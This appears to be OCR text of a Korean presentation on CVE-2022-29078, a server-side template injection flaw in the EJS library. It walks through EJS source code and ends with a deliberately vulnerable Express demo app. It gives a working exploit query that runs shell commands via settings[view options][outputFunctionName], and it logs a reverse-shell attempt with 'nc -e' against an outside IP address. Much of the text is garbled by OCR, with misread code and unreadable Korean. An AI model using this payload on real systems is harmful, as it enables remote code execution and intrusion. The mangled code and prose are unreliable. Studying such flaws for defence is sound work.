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data = args.shift
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if (!this.source) {
this.generateSource();
prepended +=
var _ output = "";\n' +

function __append(s) { if (s !== undefined && s !== null) _ output += s }\n';
if (opts.outputFunctionName) {

prepended += ' wvar ' + opts.outputFunctionName + ' = append;’' + '\n’;
1
J
if (opts.destructuredLocals && opts.destructuredLocals.length) {

var destructuring = ' var _ locals = (' + opts.localsName + ' || {}),\n";

for (var 1 = @; 1 < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals|[i];

if (1 > 0) {
destructuring += ",\n ';
}
destructuring += name + ' = locals.' + name;
}
prepended += destructuring + ";\n’;

opts Ha= settings['view options']2| 22 7t SL|CH



if (!this.source) {

this.generateSource();
prepended +=

var _ output = "";\n' +
end(s) { if (s !== undefined && s -

tionName) {
ar ' + opts.outputFunQQt&- Name

edLocals && opts.destructuredLoca
= ' wvar _ locals = (' + opts.lo
< opts.destructuredLocals.length

.destructuredLocals|i];

+= ",\n °;

destructuring += name + ' = locals.' + name;

}

prepended += destructuring + ';\n’;



if (!this.source) {
this.generateSource();
prepended +=

var _ output = "";\n' +
: ; end(s) { if (s !== undefined && s -

Name

tionName) {

ar ' + opts.outp Qﬂtﬁeo

edLocals

= ' wvar (' + opts.lo
< opts.destructiredLocals. length

.destr

destructuring += name + ' = locals.' + name;

}

prepended += destructuring + ';\n’;



if (!this.source) {
this.generateSource();
prepended +=
var _ output = "";\n' +
end(s) { if (s !== undefined && s

tionName) {

ar ' + opts.outp QﬂtaSQO

Name

edLocals cturedLoca

= ' wvar loc (' + opts.lo
< opts.destructiredLocals. length

.destr

destructuring += name + ' = locals.' + name;

}
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prepended += H'-_—l' EI'O' Al OH 7|—%_6I__|' JS _‘T_'i% Iljl'%h:é
" var _ _output = "";\n’' + " e
' function __append(s) { if (s !== undefined && s !== null) _ output += s }\n' req queryu E&I-OHOF %I-L—I El-.

if (opts.outputFunctionName

prepended += ' var ' + opts.outputFunctionName + ' = _ append;’' + "\n'

(2t M optsE EO{MT| 2I8l settings[view options]
42 HO{MZF1, outputFunctionNamed|
prependedOiA| A& 7tsot JS ZET| RIME[ESF
ofeq{™, of2liet Z 7*0 req.query=S ELHH ElL|CL,

/?settings|view options][outputFunctionName]=x;
process.mainModule.require('child_process').execSync('E&EH0');s
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var _ output = "";
function _ append(s) {
if (s !== undefined && s !== null) _ output += s

1
J

var X,
process.mainModule.require('child process').execSync('E@&EN");

s = __append;
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settings: {

{

outputFunctionName:

nc: invalid option - 'e'

usage: nc [-U46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-0 length] [-P proxy_username] [-p source_port]
[-qg seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit]
[-w timeout] [-X proxy_protocol] [-x proxy_address[:port]]
[destination] [port]

Error: /home/wasangju/cve—-2022-29078/vulnpage/views/index.ejs:1

>> 1| <image src="image/<%=id %>.png" />

Command failed: nc —-e 34.30.149.236 4uyu5 sh

nc: invalid option — ‘e’

usage: nc [-U46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O0 length] [-P proxy_username] [-p source_port]
[-q seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit]
[-w timeout] [-X proxy_protocol] [-x proxy_address[:port]]
[destination] [port]
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exploit code

F| kot O] K| =4 /7id=28&settings[view
me]=x;process.mainModule.require('child_process').execSync('E
F01");s

options][outputFunctionNa
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index.js

st express = require(“express");
st app = express();

index.ejs

app.use(express.static('public'));
app.set("view engine", "ejs");

app.get(“/", (req, res) => {

src="1mage/<%=1d %>.png"

if (!reqg.query.id
reqg.query.id = Math.floor(Math.random()

console.log(reqg.query);
res.render("index"”, reqg.query);

listen(80806, () => {
console.log("running”);
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THANK YOU!
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